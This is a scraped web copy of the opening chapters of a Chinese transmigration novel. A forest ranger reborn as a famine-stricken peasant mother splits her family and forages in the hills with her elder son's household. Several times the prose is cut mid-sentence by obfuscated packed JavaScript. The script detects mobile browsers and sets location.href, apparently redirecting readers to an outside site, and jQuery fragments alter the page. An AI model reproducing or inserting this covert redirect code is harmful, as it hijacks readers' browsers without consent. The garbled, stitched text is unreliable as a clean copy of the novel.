《穿成老妇？荒山野菜嘎嘎挖！》 第1章 逃荒结束就分家 “娘都是半截身子埋黄土的人，病好了又能活多久？要我说，这钱不如给我进城搏条生路！” “你个丧天良的！娘平时对你最好，她一病你就想着撂下不管，把钱交出来！” “凭啥！娘要是醒着，肯定愿意让我拿着钱进城！” 耳边传来激烈的争吵声音。 林禾猛地睁开眼睛。 随后，她看到两个与自己年龄相仿的男人争得面红耳赤，对着自己喊娘？ 林禾惊的恨不得跳起来，紧接着记忆喷涌而来。 她从一个社畜少女，穿成了个三十五岁的农妇！ 还偏是个拖家带口一路逃荒的农妇！ 原主逃荒路上感染风寒，发烧之后没得到医治，撒手人寰。 林禾便成了接盘侠，接手这烂糟糟的家。 听着小儿子不顾要死的老母把钱拿走，她强撑着身子坐起来，高烧过后嗓子干涩，好不容易挤出一句话。 “我……不愿意。” “娘！”沈大山见林禾醒了，赶紧凑过去扶她。 与大儿子沈大山的关切不同，二儿子沈富贵见林禾醒来，颇有几分心虚。 他凑过来讪讪喊了声，“娘。” “把钱给我。”林禾咽了几口唾沫，才觉得嗓子好受些。 “娘！你都醒了，还要钱干什么？” 沈富贵声音陡然尖利，手中的钱袋子攥得更紧。 林禾见他不愿意给，对着身旁的沈大山道：“抢。” 嗓子疼，多说一个字都嫌多！ 沈大山最孝顺，又一身蛮力，得了老母亲的一个字，立刻就站起来动手。 沈富贵这个小儿子被原主宠坏了，平素偷鸡摸狗的事没少干，所有的心思都用在偷奸耍滑上了。 即便家里遭了旱灾，他跟着家人往南逃荒，有原主护着也没吃多少苦。 这样一个人，哪里能抢得过在地里干活练出一身力气的沈大山？ “哎呦！”沈富贵摔了个屁股蹲儿。 “娘，钱拿回来了。”沈大山将钱袋子递给林禾。 “好孩子。”林禾从善如流，已经完全适应了自己的身份。 她扯开钱袋子一看。 天娘嘞！ 整整三十文！ **看了都要捐款。 刚刚抢得那般激烈，不知道的还以为袋子里装了三千文。 就三十文，还想进城搏一把？ 进城逛一圈都要被嫌弃！ 林禾看了一眼就将钱袋收紧。 沈富贵眼睛一转，坏心思又起来了。 “娘，咱们分家吧！把大哥分出去！我带着娘进城过好日子！” 沈大山闻言，满脸紧张。 娘最疼二弟，他说什么都会听，要什么都会给。 若是真的分家，不就等于不认他这个儿子吗？ 林禾浑身没力气，靠坐在树下点头：“确实该分家。” 带着孩子们打完水刚回来的两个媳妇儿，也听见了沈富贵和林禾的话。 大儿媳王三娘攥着双胞胎女儿的手，心疼地盯着自家男人。 二儿媳黄翠翠也满脸不赞同。 那个老不死的定要跟着自家男人，日子本就难过，还要带个拖油瓶！ 跟在黄翠翠身边的儿子沈虎子倒是高兴，叫嚷着：“分家咯！分家咯！” “啧！”黄翠翠扯了一把自家的傻儿子。 “娘，都分家了，那三十文给儿子保管吧！” 沈富贵打的就是这个主意！ “你大哥是长子，若是分家，钱自然都给他。”林禾将钱给了沈大山，冲沈富贵招手，“娘跟你走就成，你带着娘进城过好日子。” “凭啥？凭啥钱给他，你要我养？” 沈富贵闻言原形毕露。 他就是打着钱的主意，不然谁愿意带着个生病的累赘？ 林禾反问，“你说的什么话？我平时最疼你，你不养我谁养我？” 原主若是还在，听见她偏宠的小子儿这般无情，不得怄死！ 小儿子从小疼到大，大儿子从小当骡子使唤。 脏活累活都是大儿子干，连带着嫁过来的大儿媳都不受待见，处处被挑刺。 甚至拿着大儿子辛苦挣的钱补贴小儿子。 小儿子一家活得面色红润，大儿子一家累得面黄肌瘦。 就这样，大儿子依旧孝顺，毫无怨言。 “娘！二弟不养您，我养！我不要钱，您跟我走！” 沈大山立刻站了出来。 哎呦！这个傻大儿，还真不要钱呐！ 林禾看着沈大山，让他把钱收起来。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287087|182632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 转而看向沈富贵，轻描淡写地开口：“你不愿意给我养老，那你就分出去吧。” “娘！你要把我分出去？你烧糊涂了吧？！” 不仅沈富贵不信，其他人也都满脸诧异。 娘……今儿是怎么了？ “原来你知道我病着！”林禾声音陡然一沉，“我病着时你大哥想着给我治病，而你却一门心思要将我扔下！” “娘……”沈富贵刚想狡辩，就被林禾打断。 “父母在不分家，你为了三十文撺掇着我分家，那我便如了你的意！从今往后，你们一家单独分出去，与我们再无干系！” 林禾说完，猛咳了两声，嗓子越发难受。 “分家可以！钱得分我们一半！”黄翠翠早就想甩下林禾，这下正好如愿。 两夫妻一个德性，沈富贵立刻应声附和：“对！钱得分我们一半！” “哼！”林禾冷笑一声，“家里我做主，钱我爱给谁就给谁！大山，将他们赶走！” 省得留下来碍眼！ 沈富贵一家都是欺软怕硬的，敢吵但怕真沈大山真动手，不甘心但又只能灰溜溜地跑了。 “娘，我带着您进城看病。”沈大山蹲下身子要背林禾。 “不用。”林禾拍了拍沈大山，让他站起来，“你去打听一下附近的村子，看有没有哪一个村子愿意接收流民。” “诶！我这就去！”沈大山应声离开。 她们跟着逃荒的队伍一路往南，北边的大旱是逃过了。 但在新的地方，像他们这样的流民，要想被接纳，也并非是件容易的事情。 果不其然，沈大山回来之后并没有带来好消息。 “娘，不止附近的村子，隔得远的几个村子听说流民来了，全都将村门口围了起来，还派人守着，不让人进。” “有人想强闯，还**了不少，尸体如今还放在路边。” 听沈大山说完，林禾心止不住地往下坠。 附近的村子不愿意接纳她们，进县城她们又没钱，不光吃饭成问题，连个住地方都没有。 一大家子人，进城只能喝西北风。 还不知道城里让不让流民进去。 以为在逃荒路上熬下来，往后的日子就会慢慢好。 谁知真正难熬的日子还在后头！ 第2章 官兵清剿流民 “娘，不若咱们随着其他人一起继续往南走，总能找到一处地方愿意收下我们！” 沈大山提议。 王三娘听完自家男人的话，欲言又止。 她心疼地抱着瘦得可怜的双胞胎女儿，她熬得住，但她担心自己的两个女儿熬不住啊！ 王三娘的动作林禾看在眼里，开口道：“不往南走了，咱们往山上走。” “娘，山上哪是咱们能去的地方？听说南边的山里遍地都是毒虫猛兽，咱们不能去啊！” 沈大山听说要上山，吓得脸都白了。 他打小生活的地方四处都是平原，见的最大的山也就是个小土包，哪里见过真的大山？ 只听老人说过大山里全是毒虫猛兽，瘴气沼泽，去不得！也沾不得！ 一路逃荒而下的百姓也和沈大山一个想法。 所以他们一路上只走官道，遇不到收留他们的村子和县城就一路南下。 但林禾当了七年守林员，她能辨不出哪里的山危险？ 她的眼睛就是尺！ 眼前这些山看着连绵不绝，一座山连着一座山，只是看着唬人，其实最多算丘陵，算不得深山老林。 真正的深山老林人迹罕稀，带着指南针都走不出去。 而这里一座山的高度不会超过四百米。 且这些山靠近县城，周围还有村庄。 这样靠近人群的山，不会有老虎、黑熊这样的猛兽。 山里的资源相对来说更加丰富，几人有手有脚，总不至于饿死。 这不，林禾就在山坡上的树丛里发现了好东西！ 红艳艳的一株三月泡，在翠绿的树丛中格外诱人。 林禾光是瞧见，嘴里就已经分泌口水了。 “娘，你要干嘛啊！咱不能上去啊！” 沈大山见林禾往山上走，急得忙上前拉人。 但林禾快他一步，揪着手边的矮树，脚一瞪就上去了。 还不等沈大山看明白她是怎么上去的，林禾就用衣服兜着一兜子三月泡下来了。 “这个叫三月泡，是只有这个时候才有的野果。” 有些熟透的三月泡一摘下来就被碰烂了，得赶紧吃掉。 林禾将人都叫了过来，“都过来尝尝！” 沈大山没见过这样的野果，只听人说过，越是鲜艳的东西越有毒。 王三娘也拉着双胞胎没动，但双胞胎却眼巴巴望着林禾。 “娘，这果子红艳艳的，瞧着有毒，咱们还是别吃……” 沈大山的话还没说完，林禾捻起一个放进嘴里。 甜滋滋的，带着微微的酸，是那个熟悉的味道。 “娘！”沈大山见林禾一连吃了好几个，没有停下的意思，急得脸通红，“快吐出来！” “吐个屁！”林禾一巴掌拍在沈大山脑袋上，“你等着看我一会儿死不死吧！” 林禾又连着吃了一捧三月泡，才感觉胃里的酸胀好一些。 二妞年纪小，看着林禾吃东西，她扯着王三娘的衣角，“娘，我也想吃……” 大妞懂事些，但还是馋得忍不住舔嘴唇。 “乖，咱不吃。”王三娘想拉着两个孩子离远些。 她怕被婆母听见，两个孩子又要挨骂。 以前就是这样，孙子要吃东西，恨不得哄着吃。 换成孙女，就会被骂赔钱货，还要为了记住教训被打。 王三娘也心疼自己的孩子，不能反抗婆母，就只能管着自己的孩子。 “这果子没毒，要吃自己拿，我先去逛逛。” 林禾将剩下的三月泡用树叶垫着放在石头上，自己转身往上坡上爬。 沈大山想跟着去，但刚跟着爬上坡，林禾就不见了。 “娘什么时候这么利索了？” 沈大山走这样又陡又滑的山路，下来时都还差点滑倒。 “娘比之前好。” 王三娘说道她拉着女儿们坐到石头边，让她们拿着三月泡吃。 以前有什么吃食，哪有她们一家四口的份儿？ 就算有也是吃剩下的，现在却能大方分出来，还愿意自己去找吃的。 不像从前只会等着，指挥别人去找。 “三娘，是我没本事，让你和孩子跟着我受苦。” 沈大山看着妻女一个比一个瘦，心里也难受。 但若要他抛下娘，他也没法做到。 “夫君，吃苦我不怕，但若是继续南下逃荒，我能熬，孩子也不能再熬了！” 王三娘一咬牙，将自己的想法趁机说了出来。 沈大山看着两个瘦脱相的女儿，虽然心疼但还是一根筋，“山里更危险，咱们还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287088|182632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 继续往南走再熬一熬吧。” 王三娘失望地撇开头。 小孩子对情绪感知最敏感，察觉到娘不开心。 大妞举着三月泡送到王三娘嘴边，“娘，这个甜！你也吃。” “娘吃一个就好了，你和二妞多吃点。” 王三娘抬手摸了一把女儿的脸，眼里都是心疼。 男人一根筋，孩子也小，她没勇气做什么，只能多省下些吃食给孩子。 林禾进了山林，就像是鱼进了大海，自由自在。 不到四百米的山，林禾不到半个时辰就爬到山顶。 越靠近山顶，路越平坦。 林禾看着地上被踩出来的痕迹，猜想山顶或许有人活动。 果然，扒开半人高的茅草，林禾就看见了一处山洞。 山洞正好在山顶处，洞口看着差不多两米高，里面的光线不好，看不真切。 林禾没有贸然进去，而是捡起一个石头，扔进去探探动静。 确定里面没有声响，林禾才走了进去。 山洞很大，能轻松容纳十几个人，顶部有个大洞，中间能透下来光。 洞壁最里面“滴答滴答”往下流水，时间一长，水滴石穿。 滴水的下方形成了一个脸盆大小的水池。 水很清，也很浅，半根手指深。 但若是人为动手凿深一点，就是一个完美的蓄水池。 山洞除了阴冷些，住人没大毛病。 比住城里强，至少不花钱。 不然住窝棚一个月都不止三十文。 林禾瞧好地方，准备下山将人带上来，行至半山腰，远远听见一片惨叫声。 林禾快步走到视野开阔的地方，往前眺望。 是走在前面的流民！ 他们全部被官兵抓了！ 看来是县衙派人来清剿流民了！ 林禾瞧见还有一队人马正往官道上来。 她想起自家的便宜儿子还带着妻女子在山下，立刻往山下跑。 她已经摸清下山走哪条路最快最好走。 可惜她的两条腿，比起马的四条腿，还是慢了一步。 她躲在树后，看着追捕流民的官兵骑着马呼啸而过。 周围哪里还有沈大山几人的踪影。 林禾的心猛地沉了下去。 第3章 上山躲避官兵 追捕流民的官兵骑着马呼啸而过。 山下哪里还有沈大山几人的踪影。 林禾心头一跳。 “娘！”沈大山从林禾背后的草丛中冒出头。 他们也不是傻的，听见马蹄声就抓紧躲到山上。 林禾下来的时候不是走的原来的路，刚好和他们几人错开。 “人没事就好。”来不及休息，林禾带着几人钻进树丛中，“跟在我身后！” 行至半山腰时，沈大山才看清楚前面乱作一团的流民。 官兵们骑着马，要逃走的流民直接被马蹄踩踏而亡。 王三娘赶紧捂住两个女儿的眼睛，自己也偏过头不敢看。 “山顶处有个山洞，能住人，我们先在山上躲着，等这阵子过了再做打算。” 林禾看着山下那些无辜惨死的人，心凉了半截。 有时候山下的人比山上的猛兽可怕多了。 他们这样的流民，无处可去，在山里还能讨口饭吃。 若是下山，指不定什么时候就**。 沈大山瞧见此番情景，也没了再南下的心思。 王三娘观察着自家男人的神色，知晓他再没了那心思，心里高兴，跟觉得婆母有远见。 若不是她坚持要上山，现在他们恐怕也是那马下的冤魂。 等爬到山顶，林禾累出一身汗，反倒觉得鼻子通气了，头也不晕了。 山洞里潮湿阴冷，现在还是三月天，山里的温度更低。 入夜之后直接睡在山洞里和睡在冰窟里没分别。 几人的衣裳又这样单薄，不死都算阎王手下留情。 索性在山里，最不缺的就是柴火。 “大山，你去砍些柴火回来，要耐烧些的松树！” 林禾可不想半夜火灭了起来添柴。 枝干粗一些的松树堆起来烧一晚上不成问题。 “诶！我这就去。” 沈大山的手摸到腰间的柴刀，大步朝着右手边的松树林去了。 他们一家逃荒来此，带在身上的东西在路上就丢的七七八八，唯独柴刀一直都带在身上。 不仅方便，防身也极有威慑力。 “娘，你歇着，我们先将这山洞收拾出来。” 王三娘见自家男人去砍柴，下意识包揽了剩下的活儿。 “咱们一起，能快些。” 林禾的话让王三娘一愣。 她愣神的功夫，林禾已经挽起袖子。 从地上捡了一根细长的棍子，又在一旁的树上扯了根藤条，缠在棍子上上面，挥舞着棍子将山洞上面的蜘蛛网都清理干净。 爬在棍子上的蜘蛛，也被林禾全都抖下来踩死。 在野外，任何虫子都可能有毒，别看蜘蛛不起眼，挂在洞上面人畜无害。 但若是晚上睡觉时被它们咬一口，极有可能因此丧命！ 林禾清理完隐患，就和王三娘一起把山洞里的碎石子都清理到洞口。 大妞二妞也在一旁帮忙捡洞里的枯枝烂叶。 洞里清扫了一遍，看着比刚开始顺眼多了。 此时沈大山也背着一大捆柴回来了，手里还拽着一丛干枯的褐色松树枝叶。 进山洞时自带“沙啦啦”的声音。 干枯的松针是很好的引火材料，一点就着。 林禾将松树枝按照粗细上下搭好，又铺上一层厚厚的松针，中间留出一个小洞，确保有足够的空气能流通，不至于让火熄灭。 刚做完这些，就听沈大山为难地开口：“娘，火折子在二弟身上，咱们没法生火。” “不用火折子也一样能点火，你们看好。” 林禾从洞口捡了块拳头大小的碎石过来，又把柴刀拿在手上，二者用力一碰，溅出火星。 但一次并不足以点燃松针，林禾反复几次，松针开始冒烟。 林禾对着根部轻轻吹了几下，火苗就从松针堆里蹿了出来，迅速燃烧。 林禾又往里不断添着松针，直到下面的松枝也被点燃，她才收手。 火光映衬着几人的脸庞，除了林禾，剩下的所有人都满脸诧异。 “娘，这火……就这么点燃了？”沈大山靠近火堆，还觉得有些不真实。 他娘啥时候有这本事了？ 沈大山的情绪都写在脸上，很好懂。 林禾看一眼就知道，“要不说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287089|182632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我是你娘呢！吃过的盐比你走过的路还多，往后多学着点！” 林禾愿意带着他们，但前提是不能什么事都指望她。 她在林子里待得久，见得多会得多，教她们几次，她们要学着做才行。 不然什么活儿都她一个人干，不得累死。 沈大山摸着后脑勺，“行，以后娘说啥就是啥。” 他有时候确实死脑筋，但胜在孝顺，肯听林禾的话。 “跟我去割些茅草回来垫着晚上睡觉，三娘和大妞小妞看着火堆，再把最里头那个水池附近的青苔和枯叶弄干净。” 林禾说完，带着沈大山往山侧面走。 那边有一条小路下去，长满了颜色深浅不一的茅草。 有些是去年枯死的茅草，有些是今年开春刚冒芽长出来的。 山上的茅草长多久都无人管，茅草从最深的地方甚至比沈大山还要高出一截，足足两米多高。 林禾这个小个子一进去，瞬间就被淹没了。 “娘，你站在上头，别下来了，这茅草割人疼嘞！” 茅草的叶片细长锋利，沈大山一下去脸上就被割出一条口子。 他这是没经验，没见过这么高的茅草丛，一时间慌了手脚。 但林禾常年在山里行走，这样的茅草丛不知道走过多少次。 她灵活地在里面穿行，蹲下找到根部，一下子割倒一片。 周围空出来了，沈大山也腾出手将林禾割倒在地上的茅草抱到外面堆好。 “你寻个结实的藤条回来，像捆稻草一样把这些茅草捆好。” 林禾知道沈大山之前没见过这么高的茅草，特意换了个他能理解的说法。 “诶！好。”说起捆稻草，沈大山瞬间就懂了。 林禾割完的茅草，沈大山全部用一旁油茶树上缠着的藤条捆好，整整齐齐八捆摞在地上。 林禾负责割，沈大山负责捆。 二人干活动作利索，不到半个时辰就割了一大片。 林禾蹲下准备割最后一把茅草，刚动手，头顶突然被什么东西砸了一下。 林禾抬手在脑袋上摸了一把。 湿湿的？粘手？ 第4章 茶泡茶瓣 林禾抬头才发现这一丛茅草上有一个鸟窝。 刚刚她割茅草的时候有一个鸟蛋落在她的头上，砸烂了。 “大山，你过来。” 鸟窝搭在茅草最上面，林禾够不到，只能把沈大山喊过来。 “小心些，别把鸟蛋摔下来弄碎了。” 沈大山闻言，动作更轻，生怕晃动一下茅草把鸟窝弄烂了。 建在这样的茅草丛中的鸟窝，通常只用茅草和羽毛搭窝，很容易就被扯烂，得格外小心。 鸟窝被林禾取下来，往里一看，她一下子就认出来了。 “居然是窝鹧鸪蛋！咱们运气不错。” 鹧鸪蛋比鹌鹑蛋大一些，外表有斑，但很浅，营养丰富，蛋白质高，是很好的滋补品。 三月到六月都是鹧鸪产蛋期，能在茅草丛里发现一窝，肯定还能找到。 不过马上天黑了，在山外面留太久终归不安全。 沈大山主动把所有的茅草都背在背上，整个人都被呲出来的茅草淹没，像个行走的茅草怪。 林禾帮他卸下来一半。 “娘，这个不重。” 沈大山习惯家里的活儿都他干，更何况这些茅草看着多，但其实不如一捆柴重。 他能背得回去。 “是不重，但你也看不见路，而且我们是两个人出来干活。” 林禾没有让沈大山当牛做马，任劳任怨的坏习惯，她要慢慢纠正。 一个正常的家庭，一定不是老大承担所有，没有人应该承担全部。 分工合作才更高效，家庭关系也更和谐。 回去的路上，林禾走到一半就把背上的茅草卸了下来。 “娘，你是不是累了？还是给我背吧。” 沈大山本不习惯自家老娘的转变，见她扔下茅草，以为她生气了，赶紧上前去接。 “不是，我是看见好东西了。” 林禾走到一棵油茶树下，伸出来的那一侧树枝上挂满了茶泡。 茶泡虽然叫茶泡，但它一共有两种形状。 一种和桃子的形状一样，浅绿色的，肉嘟嘟的。 一种和油茶嫩叶几乎一样，但颜色偏白色和浅橙色，嫩润而肥厚，也叫茶瓣。 这个时节的茶泡长势最好，正好是表面褪了一层薄薄的皮，苦味和涩味已经完全消退，口感正好。 油茶树一般都不高，林禾伸手折下几枝长了茶泡的茶树枝，和沈大山继续往前走。 沈大山现在已经不再问野果能不能吃了。 问多了显得他很傻。 虽然他确实不认识这些东西，但娘说没问题，那就是没问题！ 二人回到山洞时，外头的天已经黑了。 洞里的火光透着暖黄，让人安心。 金窝银窝，不如自己的狗窝。 哪怕只是一个暂时收拾出来落脚的地方，回到这里都能叫人暂时放松。 二人回来的动静不小，但王三娘一心用石头凿里面的小水池，没听见。 大妞也帮着清理水池边凿出来的碎石子，没看见。 只有站在一旁的二妞，揪着王三娘的衣角开口，“娘，奶奶和爹回来了。” “娘，你们回来了。”王三娘手上还沾着泥水，笑着让二人过来看，“我见这水池浅，凿下去一点就能蓄水了，马上就能弄完。” 林禾凑近些看清楚了。 原本只有半指深的水池，凿开后差不多有半个手臂那么深。 宽度没变的情况下，存下的水就能满足她们平时的用水量。 “上面我们也弄了，可以流更多的水下来。” 二妞个子矮，但恨不得跳上去指给林禾二人看。 林禾顺着她的手抬头，果然看见长满青苔的洞壁也被清理过，上面还弄了个草团堵着。 应该就是她们新凿出来的流水口。 看来自己这个大儿媳，也是个干练的性子。 “干得不错。”林禾把手里的茶泡分给大妞和二妞，“这个是茶泡，可以吃。” 林禾带了不少茶泡回来，完全够吃。 她的肚子早就唱起了空城计，揪下一个茶泡，撕掉连在最外面的那层皮，一口下去半个茶泡就没了。 茶泡里面是空心的，只有内壁上粘着一点点白色的絮状物，和棉花长得很像。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287090|182632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蜕皮的茶泡少了苦涩，带着淡淡的清香，入口甘甜，很适合当零嘴。 林禾从前巡山时，经常会拿袋子摘一些回去吃。 只可惜现在这些茶泡变成填饱肚子的主食，多吃些也能吃饱。 大妞二妞手上拿着茶泡，愣愣地不敢吃。 之前奶奶给吃食，都是只给虎子，哪里有她们的份？ 王三娘忙完后瞧见自己两个闺女的模样，就知道她们在犹豫什么，“吃吧，奶奶给你们的，你们就拿着吃。” 有了王三娘的话，两姐妹才放心吃。 林禾瞧见了也没多说什么。 原主是个极端重男轻女的，偏心小儿子多一部分是因为小儿子会哄人，另外一部分则是小儿子给她生了个孙子，而大儿子给她生了两个孙女。 原主对两个孙女也非打即骂，有什么好东西更是紧着宝贝大孙子先吃，吃剩下也不会给两个孙女。 她们一时间没能接受，林禾也理解。 毕竟之前的坏奶奶的印象实在太深刻了。 总之，慢慢来就行。 林禾也不强求。 她在火堆旁坐下，用一截木头把烧出来的火星子扒拉出来，又重新添了柴在火堆里。 被扒拉出来的火星子堆在一旁，林禾把捡到的鹧鸪蛋埋进去。 “大山，你把茅草拖几捆进来，在地上铺厚一点，晚上咱们躺在上面睡觉能舒服些。” 林禾从来都不是委屈自己的人。 在野外，她也是怎么舒服怎么来。 “好。”沈大山将手中剩下半截的茶瓣塞进嘴里，立马起身去拖茅草。 二人扛了七八捆回来，完全够用。 铺山洞也只用了四捆，剩下的四捆，林禾比着山洞洞顶的大小，编了一个略微大一些的圆形草垫，正好能盖住洞顶。 “娘，您手艺真好！”王三娘看着放在一边的草垫，纹路漂亮又结实。 “明儿教你编。” 林禾会用茅草、龙须草甚至是树藤编很多东西，都是在山林里跟着其他守林员学的。 以前用来打发时间，现在说不准能换些钱。 第5章 板栗和锥栗 “娘，我刚刚没那个意思。”王三娘有些惶恐。 她以为林禾说反话。 寻常人有些手艺一般都只传给亲近的人或者子女的，若是旁人想学，得费不少功夫，甚至还得专门上门给拜师礼。 哪能是她说句好听的话就能教给她的？ 林禾见王三娘犹如惊弓之鸟，轻叹一口气。 这一家子对原主的阴影都挺深啊！ “我是真的想教会你，若是之后你学会了，可以和我一起编些篮子或者草垫去山下换些钱回来，还是说你不愿意学？” 王三娘生怕林禾反悔，赶忙应下：“愿意！我当然是愿意的！” “娘教你，你就好好学，争取早点学会。” 沈大山见自家娘愿意教，也为媳妇儿高兴。 “我也想学……”蹲在王三娘身边的二妞怯怯地看着林禾。 “可以。”林禾看着不说话，但同样望着自己的大妞，“大妞也可以学，只要你们愿意学。” 林禾一碗水端平，不偏颇任何一个孙女。 “谢谢奶奶。”二妞性子活泼些，得了林禾的同意，对林禾的态度也肉眼可见的亲近。 大妞性子腼腆，跟着二妞一起道了谢，但还是躲在王三娘身边。 “不客气。”林禾应了一声，把埋在火星子里的鹧鸪蛋扒拉出来。 刚扒拉出来，蛋壳上沾满灰，像五个小煤球。 林禾凑近了些，能闻见浓郁的焦糊香，类似于烤坚果的微微焦香。 “有点烫……”林禾拿起来在手里倒腾了两下，轻轻将烤裂的蛋壳扒开，“熟了，一人一个吃了吧，明儿起来再找其他的吃食。” 一个鹧鸪蛋吃不饱，但也能解馋。 王三娘没想到这些鹧鸪蛋能有她们母子的份儿，满脸喜色。 她瞧林禾的眼神都不一样了，忙招呼两个女儿：“大妞二妞，小心烫啊！” “娘，好香！”二妞剥开鹧鸪蛋，焦香混着鹧鸪蛋的“荤”香立马钻进鼻子。 沈大山也闻到了，他咽了咽口水，把自己面前的鹧鸪蛋放在林禾面前。 林禾一眼就看出他的想法，立刻开口：“你自己吃，往后我们家的规矩就是，找到吃食都一起分着吃，不存在谁多吃谁少吃。” 一个家里，不怕穷不怕苦，有啥事都能一起扛过去。 但就怕一碗水端不平，时间长了，家就散了。 王三娘推了推自家男人的胳膊，“娘说的对，你快吃了，别惹娘生气。” 她比沈大山要更活泛一点，不似沈大山那般死脑筋。 林禾能公平处事，王三娘是最高兴的。 沈大山最后还是将鹧鸪蛋吃了，心境也发生了些许变化。 累了一天，林禾刚躺在草堆上就昏睡过去，直到第二天被光晃醒才从草堆上爬起来。 她醒的时候，身边只有一对双胞胎眨着眼盯着她。 两姐妹明显被王三娘收拾干净了。 脸上的脏东西洗了，头发也梳好了，比之前的脏小孩看着顺眼不少。 尤其是她们一双黑葡萄似的眼睛，炯炯有神。 “你爹娘呢？” 林禾见二人呆坐着的样子有些萌，伸手捏了捏二人梳好的发髻。 软软的，手感很好。 “去割茅草了，说是要把洞口堵上。”二妞积极发言，说话时手还指着洞外。 大妞轻轻点头，同意妹妹的话，像个稳重的小老人。 “行，知道了。”林禾往里面走，蓄水池流了一晚上，水有些往外溢。 林禾捧起水洗了脸，又简单漱口，准备去山里逛逛，先把早饭解决。 三月天，虽然不够暖和，但山上正是万物开始生长的时候。 在山里要想饿死也挺难。 站得高看得远，要想在山里找什么，盲目钻草丛是不行的。 林禾有多年的经验，基本上看一眼就知道大概的方位，什么地方长了什么也一目了然。 林禾站在高处，能将山里的东西尽收眼底。 几棵高大的板栗树引起她的注意。 板栗虽然是秋天结果，但落在地上的果实可以存一整个冬天。 板栗有两层壳，即便外面带刺的外壳裂开，里面褐色的壳也依旧能保护板栗肉。 所以板栗即便落在地上也能存放很久。 林禾顺着方向走，很快就找到了。 板栗树三五棵挤在一起，有两颗越长越大， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287091|182632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把另外几棵都挤得没地方长，衬得像板栗苗一样。 刚刚林禾在上面看见的就是这两棵大的板栗树，几乎和旁边的松树一样高。 没走几步，林禾就踩到一个圆鼓鼓的东西，不用猜就知道是落在地上的板栗壳。 林禾把板栗壳翻过来，里面什么都没有，只是个干枯的板栗壳。 “……” 接连翻找了好几处，遍地都是板栗壳，就是没有发现板栗。 林禾看着地上成堆的板栗壳陷入沉思。 按道理不应该啊！ 这么多板栗壳，居然没有一个板栗吗？ 林禾不信邪，拿着棍子在枯叶里翻找了半天，总共就找到一小捧板栗。 “太邪门了。”林禾抬头望着刚抽芽的板栗树，有些气不过，踹了一脚板栗树，“果子呢！你吃了？白长这么大个儿！” 板栗树被踹得叶片都抖了一下。 “吱——”树上突然掉下来一个黑色的东西，落地后快速朝着旁边的松树上蹿。 “松鼠！”林禾一眼就认出来这是南方树林里常见的红腿长吻松鼠。 从屁股开始往下都是锈红色，很明显。 有松鼠的话，林禾就知道这些板栗都去哪里了。 林禾看着已经蹿到松树上不见踪影的松鼠，大概能肯定它藏食物的地方就是这几棵松树。 松树太高，就算知道上面有松鼠的巢穴，爬上去找也不现实。 为了几颗板栗拼命，不值当。 林禾另有想法。 这个品种的松鼠，喜欢将冬天吃的食物藏在树上，整个冬天就不用出窝，但不会将食物全部放在同一个地方。 有的在树洞里，有的在树根处。 林禾挖了几处，就成功找到它藏好的板栗。 她伸手去掏，收获颇丰，掏了五六次还没掏完，头上传来一阵不小的动静。 “吱吱吱吱——” 听着这叫声，急坏了。 “好了好了，别骂了，我不掏了，剩一点给你。” 林禾把洞口埋回去，上面才没了动静。 在山里待久了，就知道动物都是很有灵性的。 该让着一点还是要让着一点。 第6章 这倒霉孩子 林禾看着挖出来的战利品，满满一兜子，不止板栗还有锥栗。 锥栗平时也叫尖栗，吃起来比板栗更甜。 林禾估计那几棵矮个子树结的就是锥栗。 